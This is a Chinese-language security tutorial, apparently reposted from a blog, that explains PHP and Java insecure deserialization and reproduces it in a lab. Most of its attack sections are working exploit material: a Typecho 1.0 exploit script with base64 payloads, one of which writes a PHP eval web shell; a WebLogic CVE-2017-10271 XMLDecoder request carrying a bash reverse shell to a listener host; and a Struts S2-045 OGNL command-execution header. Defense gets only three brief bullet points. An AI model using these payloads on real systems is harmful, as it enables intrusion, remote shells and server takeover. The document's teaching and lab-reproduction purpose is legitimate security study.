iis服务器助手广告广告
返回顶部
首页 > 资讯 > 后端开发 > PHP编程 >不安全的反序列化(php&java)及漏洞复现
  • 921
分享到

不安全的反序列化(php&java)及漏洞复现

安全phpjava网络安全网络web安全 2023-10-06 12:10:01 921人浏览 八月长安
摘要

不安全的反序列化 1. 序列化与反序列化 A8:2017-不安全的反序列化 A08:2021-Software and Data Integrity Failures 为什么要序列化? 序列化,将对象

安全的反序列化

1. 序列化与反序列化

A8:2017-不安全的反序列化

A08:2021-Software and Data Integrity Failures

为什么要序列化?

序列化,将对象的状态信息转换为可以存储或传输的形式的过程,这种形式大多为字节流、字符串JSON 串。在序列化期间内,将对象当前状态写入到临时或永久性的存储区。以后,就可以通过从存储区中读取或还原(反序列化)对象的状态,重新创建该对象。简单的说,序列化就是把一个对象变成可以传输的字符串,可以以特定的格式在进程之间跨平台安全的进行通信。

序列化就是解决对象传输的问题

对象:类(抽象的,定义):        学生类属性: 姓名,性别,年龄,成绩方法: 学习,运动,吃饭,睡觉对象就是指具体哪个学生(具体的,真实存在的) ,对象是非线性的,不能做流式传输。     传输:流式传输:一个字节一个字节传输字符串,json,xml

对象–>序列化–>字符串、json–>反序列化–>对象

攻击者可以通过反序列化的过程,在还原对象的过程中完整恶意的攻击

1.1 引例

PHP 语言为例

JSON 数据是数据的一种表达形式,与python里的字典类似。

// json.php$stu = array('name'   => 'AJEST', 'age'=> 18,'sex'=> true, 'score' => 89.9);// echo $stu;// var_dump($stu);$stu_json = json_encode($stu); echo $stu_json;echo "
"
;$stu_json = isset($_GET['stu'])?$_GET['stu']:$stu_json;$stu = json_decode($stu_json); var_dump($stu);

验证:

?stu={"name":"ajest","age":19,"sex":true,"score":89.9}

在www目录下新建unserialize文件夹,在文件夹下新建json.php文件,将上述代码复制进json.php中

image-20230905155255043

因为stu的内容是数组非线性的,使用echo是无法输出$stu的内容的,因为echo只能输出字符串(线性的);使用var_dump可以强制转换字符串输出;如果stu无法输出那就无法存储和传输,要想存储和传输的话就要进行json_encode编码

image-20230905160307886

显示的内容是json格式的数据,json格式的数据能使用echo输出,那就证明能够存储和传输;要想将json格式的数据还原成数组只要做json_decode就能还原成数组

image-20230905160832274

重新还原成数组就可以在程序中使用了。

将数组转换成json格式的数据是为了能够传输,将json格式的数据转换回数组是为了能够使用。

1.2 序列化实例

1.2.1 定义一个类
//   stu.class.phpclass Stu{public $name;     public $age;     public $sex;     public $score;}

在unserialize文件夹下新建一个stu.class.php文件,将上述代码复制进去。

class(关键字:类),stu是类名

image-20230905161726201

1.2.2 创建对象

创建一个对象,并对该对象进行序列化操作,将对象转化为可以存储、传输的字符串。

// serialize.phpinclude   "./stu.class.php";//include:包含,将stu.class.php的内容作为它的一部分$stu1 = new Stu();//以stu这个类作为模板新建一个对象stu1$stu1 -> name= "AJEST";//对stu这个对象做初始化$stu1.name$stu1 -> age= 24;$stu1 -> sex= true;$stu1 -> score   = 99.9;// echo $stu1;//无法输出,因为一个类的对象不能转换成字符串// var_dump($stu1);//强制转换为字符串$_stu1 = serialize($stu1); //将对象做序列化echo $_stu1;//做完序列化在输出

在www下新建serialize.php文件,将上述代码复制进serialize.php中

image-20230905164042330

序列化后的字符串:

O:3:"Stu":4:{s:4:"name";s:5:"AJEST";s:3:"age";i:24;s:3:"sex";b:1;s:5:"score";d:99.900000000000006;}

解释:

s:4:“name”;s:5:“AJEST”;是一个键值对

s:3:“age”;i:24;是一个键值对

s:3:“sex”;b:1;是一个键值对

s:5:“score”;d:99.900000000000006;是一个键值对

O:序列化后的对象object

类名的长度,类有几个字符

stu:类的名字

有四个变量

s:string(字符串)

name的长度是4

s:string(字符串)

AJEST的长度是5

s:string(字符串)

age的长度是3

i:int

age的值

s:string(字符串)

age的长度是3

b:bool(布尔)

布尔值

s:string(字符串)

score的长度是5

d:double

900000000000006:score的值

1.2.3 反序列化

将字符串转化为对象。

//   unserialize.phpinclude "./stu.class.php";$stu1_ser = 'O:3:"Stu":4:{s:4:"name";s:5:"AJEST";s:3:"age";i:24;s:3:"sex";b:1;s:5:"score";d:99.900000000000006;}';$stu1_obj = unserialize($stu1_ser); var_dump($stu1_obj);

在www下新建unserialize.php文件,将上述代码复制进unserialize.php文件中

image-20230905164823817

1.2.4 对象注入

如果反序列化字符串,WEB 用户可以控制,则造成对象注入。

// $stu1_seria = 'O:3:"Stu":4: {s:4:"name";s:5:"AJEST";s:3:"age";i:24;s:3:"sex";b:1;s:5:"score";d:99.900000000000006;}';$stu1_ser = $_GET['stu1_ser'];

image-20230905165233060

Http://127.0.0.1/unserialize/unserialize.php?stu1_ser=O:3:"Stu":4:{s:4:"name";s:5:"AJEST";s:3:"age";i:24;s:3:"sex";b:1;s:5:"score";d:99.900000000000006;}

image-20230905165302302

PHP 的反序列化漏洞也叫PHP 对象注入,是一个非常常见的漏洞,这种漏洞在某些场景下虽然有些难以利用,但是一旦利用成功就会造成非常危险的后果

2. 漏洞何在

2.1 漏洞触发

2.1.1 有一个类
//   vul.class.phpclass Vul{public $str = "AJEST";function __destruct(){//echo "This is function __destruct()"; @eval($this -> str);//eval,危险语句,将字符串当作PHP代码执行}}

在www下新建vul.class.php文件,将上述代码复制进vul.class.php文件中

image-20230905172107543

2.1.2 有一个对象
// test.phpinclude './vul.class.php';$s = new Vul(); //从vul这个类中创建一个对象$secho serialize($s); //对$s进行序列化操作后输出echo "
"
;$_s = $_GET['s_ser'];//通过get方式得到s_ser参数$s = unserialize($_s);//将$_S的值进行反序列化 var_dump($s);//将反序列化的内容输出

在www下新建test.php文件,将上述代码复制进test.php文件中

image-20230905173053338

image-20230905173451757

序列化后:

O:3:"Vul":1:{s:3:"str";s:5:"AJEST";}
2.1.3 反序列化执行代码
?s_ser=O:3:"Vul":1:{s:3:"str";s:10:"phpinfo();";}

image-20230905173656023

2.2 为什么会这样

__destruct(),会被对象自动调用。

以 __ 开头的函数,是PHP 中的魔术方法。类中的魔术方法,在特定情况下会自动调用。即使魔术方法在类中没有被定义,也是真实存在的。

魔术方法触发条件
__construct()在创建对象时自动调用,构造函数
__destruct()在销毁对象时自动调用,析构函数
__call();__callStatic(); __get(); __set();__isset();__unset(); __sleep(); __wakeup();创建对象之前触发__toString(); __invoke(); __set_state(); __clone(); __debuginfo(); 

image-20230905173951081

因为__destruct():在销毁对象时自动调用,并且脚本执行完后要销毁,所以 __destruct() 执行了

image-20230905174033335

销毁的两个对象分别是在调用vul类时创建的对象进行反序列化还原的对象

漏洞形成的根本原因:

程序没有对用户输入的反序列化字符串进行检测,导致反序列化过程可以被恶意控制,进而造成代码执行、Getshell 等一系列不可控的后果。反序列化漏洞并不是PHP 特有的,也存在于Java、Python 语言中,其原理基本相同。

3. 反序列化漏洞攻防

3.1 PHP 反序列化实例

typecho 反序列化漏洞

3.1.1 环境搭建

image-20230905175735484

image-20230905180125166

image-20230905180148919

3.1.2 实操

危险函数:call_user_func(回调函数),assert(将字符串当作php代码执行)

call_user_func('assert',"phpinfo()");

这句函数相当于

assert(phpinfo());

image-20230905185105641

使用call_user_func(回调函数)可以构造一句话木马

typecho 反序列化漏洞此文章中提到typecho中有魔术方法,并且含有call_user_func(回调函数),并且typecho反序列化漏洞使用了对象注入

image-20230905185507492

如果构造的序列化后的语句中的类注入对象中没有那么就会还原成一个不知道是什么的类

image-20230905190206977

利用漏洞利用脚本

class Typecho_Feed{const RSS1 = 'RSS 1.0';const RSS2 = 'RSS 2.0';const ATOM1 = 'ATOM 1.0';   const DATE_RFC822 = 'r';const DATE_W3CDTF = 'c';const EOL = "\n";private $_type;private $_items;public function __construct(){$this->_type = $this::RSS2;$this->_items[0] = array('title' => '1','link' => '1','date' => 1508895132,'cateGory' => array(new Typecho_Request()),'author' => new Typecho_Request(),);}}class Typecho_Request{private $_params = array();private $_filter = array();public function __construct(){$this->_params['screenName'] = 'phpinfo()';$this->_filter[0] = 'assert';//有危险函数    }}$exp = array('adapter' => new Typecho_Feed(),'prefix' => 'typecho_');echo base64_encode(serialize($exp));?>

将上述代码复制到www目录下的typecho_1.0(14.10.10)_unserialize_phpinfo.php文件中,执行typecho_1.0(14.10.10)_unserialize_phpinfo.php获得经过base64编码的序列化的字符串,构造的这个字符串中的类一定是typecho中存在的类的名字,否则序列化字符串在注入的时候会注入不进去

YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo1OntzOjU6InRpdGxlIjtzOjE6IjEiO3M6NDoibGluayI7czoxOiIxIjtzOjQ6ImRhdGUiO2k6MTUwODg5NTEzMjtzOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fXM6NjoiYXV0aG9yIjtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6ODoidHlwZWNob18iO30=

typecho的漏洞点是install.php页面,通过finish参数传递

image-20230905192031234

文章中使用GET方式提交的,也可以使用POST方式提交,提交的内容通过__typecho_config传递

image-20230905192639063

image-20230905192754173

3.1.3 GETshell

使用bp抓包,将数据包发送重发器,修改cookie

__typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mzp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo4OiJBVE9NIDEuMCI7czoyMDoiAFR5cGVjaG9fRmVlZABfaXRlbXMiO2E6MTp7aTowO2E6MTp7czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO3M6NjA6ImZpbGVfcHV0X2NvbnRlbnRzKCdTaGVsbC5waHAnLCc8P3BocCBAZXZhbCgkX1BPU1RbNjY2XSk7Pz4nKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX1zOjEwOiJkYXRlRm9ybWF0IjtOO31zOjY6InByZWZpeCI7czo4OiJ0eXBlY2hvXyI7fQ==

image-20230905203714173

点击发送

使用蚁剑进行连接

image-20230905203953759

image-20230905204050769

3.2 Java 反序列化实例

Weblogic < 10.3.6 ‘wls-wsat’ XMLDecoder 反序列化漏洞

S2-045 Remote Code Execution Vulnerablity

JBoss 5.x/6.x 反序列化漏洞

fastjson 1.2.24 反序列化导致任意命令执⾏漏洞

Fastjson 1.2.47 远程命令执⾏漏洞

Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)

3.2.1 Weblogic
3.2.1.1 环境搭建

进入漏洞库启动环境

image-20230905194158699

3.2.1.2 过程

访问本机地址的7001端口的/console页面

漏洞扫描工具:nacs和weblogicScan

使用nacs工具扫描IP和端口

image-20230905201816400

使用weblogicScan工具扫描

image-20230905204352462

复现2017-10271,访问wls-wsat/CoordinatorPortType页面

image-20230905204936383

使用bp抓包,发送重发器

image-20230905205054409

将数据包改为POST请求

image-20230905205125803

将漏洞利用代码复制到POST请求数据包中,漏洞利用代码是输入一个周期性计划任务,通过21端口获得反弹shell

 /bin/bash-cbash -i >& /dev/tcp/192.168.16.176/21 0>&1

image-20230905205538395

还是报错,因为提交的代码是xml语言格式的

修改POST数据包

POST /wls-wsat/CoordinatorPortType HTTP/1.1Host: 192.168.16.176:7001Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (windows NT 10.0; Win64; x64) AppleWebKit/537.36 (Khtml, like Gecko) Chrome/108.0.5359.125 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie: ADMINCONSOLESESSION=qZfqk3sDhfVMkMlb3LMJpxzDJxgBrDwNqFCyGFZh339bGMLY0G1r!-169694376Connection: closeContent-Type: text/xmlContent-Length: 631 /bin/bash-cbash -i >& /dev/tcp/192.168.16.176/21 0>&1

image-20230905210709339

使用瑞士军刀扫描21端口

nc -lnvp 21

image-20230905210738174

3.2.2 S2
3.2.2.1 环境搭建

image-20230905212434278

因为8080端口被bp占用,修改端口

image-20230905212445330

image-20230905212623452

3.2.2.2 过程

使用nacs扫描

image-20230905213232914

访问本机IP908端口,使用bp抓包发送重发器,改为POST请求,并将漏洞利用代码复制到数据包中

image-20230905213726084

漏洞利用:S2-045、S2-046 - 京亟QAQ - 博客园 (cnblogs.com)

Content-Type:  %{(#nike='multipart/fORM-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

修改POST数据包,并点击发送

image-20230905214351884

获得回显,修改whoami,相当于获得一个shell

image-20230905214618513

3.3 反序列化漏洞防御

  • 升级组件到最新版本

  • 黑白名单过滤敏感字符

  • 禁用反序列化功能

来源地址:https://blog.csdn.net/weixin_58954236/article/details/132707307

--结束END--

本文标题: 不安全的反序列化(php&java)及漏洞复现

本文链接: https://www.lsjlt.com/news/424092.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

本篇文章演示代码以及资料文档资料下载

下载Word文档到电脑,方便收藏和打印~

下载Word文档
猜你喜欢
  • 不安全的反序列化(php&java)及漏洞复现
    不安全的反序列化 1. 序列化与反序列化 A8:2017-不安全的反序列化 A08:2021-Software and Data Integrity Failures 为什么要序列化? 序列化,将对象...
    99+
    2023-10-06
    安全 php java 网络安全 网络 web安全
  • PHP 反序列化漏洞
    PHP反序列化漏洞在实际测试中出现的频率并不高,主要常出现在CTF中。 PHP序列化概述 PHP序列化函数: serialize:将PHP的数据,数组,对象等序列化为字符串unserialize:将序列化后的字符串反序列化为数据,数组,对...
    99+
    2023-09-01
    php web安全
  • 反序列化漏洞(PHP)
    反序列化漏洞 0x01. 序列化和反序列化是什么 序列化:变量转换为可保存或传输的字符串的过程; 反序列化:把序列化的字符串再转化成原来的变量使用 作用:可轻松地存储和传输数据,使程序更...
    99+
    2023-09-03
    php web安全 安全
  • 【反序列化漏洞-02】PHP反序列化漏洞实验详解
    为什么要序列化 百度百科上关于序列化的定义是,将对象的状态信息转换为可以存储或传输的形式(字符串)的过程。在序列化期间,对象将其当前状态写入到临时或持久性存储区(非关系型键值对形式的数据库Redis,与数组类似)。以后,可以通过从存储区中...
    99+
    2023-09-21
    序列化 反序列化 PHP反序列化漏洞 PHP魔术方法 网络安全 Powered by 金山文档
  • Laravel 9.1.8 反序列化漏洞分析及复现
    反序列化漏洞是如今很常见的漏洞类型,有很多分类,也有很多绕过方式。本文选取了一个今年比较典型的反序列化漏洞,进行了一个分析并复现。 漏洞详情 Laravel是一套简洁、优雅的PHP Web开发框架。 ...
    99+
    2023-10-09
    laravel 安全 web安全
  • Python、PHP和Java下的反序列化漏洞复现实例
    环境准备 这篇文章旨在用于网络安全学习,请勿进行任何非法行为,否则后果自负。  python反序列化 p83 CTF夺旗 Python考点SST&反序列化&字符串_正经人_____的博客-CSDN博客 php反序列化 p84 CTF夺旗-P...
    99+
    2023-09-17
    java 开发语言
  • PHP反序列化漏洞怎么修复
    修复PHP反序列化漏洞可以采取以下措施: 检查并过滤用户输入:在反序列化之前,对用户输入进行严格的过滤和检查,只允许特定的类型和...
    99+
    2023-10-22
    PHP
  • web漏洞-反序列化之PHP&JAVA全解(上)(37)
     这个很重要 为什么会产生这个东西:序列化之后便于我们对象的传输和保存,这个作用就是为了数据的传递和格式的转换,我们称之为序列化。 在这给过程中,会涉及到一种叫做有类和无类的情况,开发里面经常看到的一个东西,我们称之为类,类对象,存在类...
    99+
    2023-09-03
    java 开发语言
  • java反序列化漏洞怎么修复
    修复Java反序列化漏洞可以采取以下措施:1. 反序列化白名单:在反序列化操作之前,先进行输入验证,只接受预先定义好的类进行反序列化...
    99+
    2023-08-19
    java
  • 反序列化漏洞及PHP魔法函数
    目录 1、漏洞原理 2、序列化(以PHP语言为例) 3、反序列化 4、PHP魔法函数 (1)__wakeup() (2)__destruct() (3)__construct() (4)__toString() (5)__get() (6)...
    99+
    2023-08-31
    php PHP魔法函数 序列化 反序列化漏洞 安全
  • PHP的session反序列化漏洞分析
    这篇文章主要讲解了“PHP的session反序列化漏洞分析”,文中的讲解内容简单清晰,易于学习与理解,下面请大家跟着小编的思路慢慢深入,一起来研究和学习“PHP的session反序列化漏洞分析”吧!PHP session反序列化漏洞PHP ...
    99+
    2023-06-30
  • php反序列化漏洞之pop链
    目录 POP链简介 pop面向属性编程: pop chain pop链利用技巧 1、在pop链中出现的方法: 2、反序列化中为了避免信息丢失,可以使用大写S,支持字符串的编码 3、深浅copy 4、利用php伪协议 POP键构造复现: 例...
    99+
    2023-09-29
    安全 web安全
  • 详解PHP反序列化漏洞的原理及示例
    目录PHP反序列化序列化与反序列化PHP魔法函数反序列化漏洞简介原理触发条件示例PHP反序列化 序列化与反序列化 序列化说通俗点就是把一个对象变成可以传输的字符串。序列化过程中还会对...
    99+
    2024-04-02
  • spring反序列化漏洞怎么修复
    修复Spring反序列化漏洞的一种常见方法是禁用默认的反序列化机制,使用自定义的反序列化过滤器来限制可反序列化的类和属性。以下是一些...
    99+
    2023-08-18
    spring
  • json反序列化漏洞怎么修复
    修复JSON反序列化漏洞的方法有以下几种: 验证和过滤输入数据:在反序列化之前,对输入数据进行验证和过滤,确保只接受预期的数据类...
    99+
    2023-10-26
    json
  • PHP反序列化漏洞实例分析
    本篇内容介绍了“PHP反序列化漏洞实例分析”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!一、PHP面向对象编程在面向对象的程序设计(Obje...
    99+
    2023-06-29
  • PHP反序列化漏洞基础概要
    目录 什么是反序列化漏洞? 序列化 serialize 反序列化 unserialize 常见魔法函数 反序列化漏洞防御 什么是反序列化漏洞? 反序列化又叫对象注入,漏洞产生是程序在处理对象、魔术函数以及序列化问...
    99+
    2023-09-06
    php 开发语言 安全
  • php(phar)反序列化漏洞及各种绕过姿势
    概念: 序列化其实就是将数据转化成一种可逆的数据结构,自然,逆向的过程就叫做反序列化。简单来说就是我在一个地方构造了一个类,但我要在另一个地方去使用它,那怎么传过去呢?于是就想到了序列化这种东西,将对象先序列化为一个字符串(数据),后续需要...
    99+
    2023-08-31
    php 开发语言
  • Yii2框架 反序列化漏洞复现(CVE-2020-15148)
    前言: phpthink 的链子有点长 暂时先复现一下简单点的框架,跟着师傅们的思路学习一下,提高一下自己的代码审计能力,搞完这个复现 也该去学java了 源码地址:https://github.com/yiisoft/yii2/relea...
    99+
    2023-08-31
    安全 php web安全 网络安全
  • php魔术方法和反序列化漏洞
    什么是反序列化漏洞? 漏洞形成的根本原因就是程序没有对用户输入的反序列化字符串进行检测,导致反序列化过程可以被恶意控制,进而造成代码执行、GetShell 等一系列不可控的后果。反序列化漏洞并不是...
    99+
    2023-09-10
    php android 开发语言
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作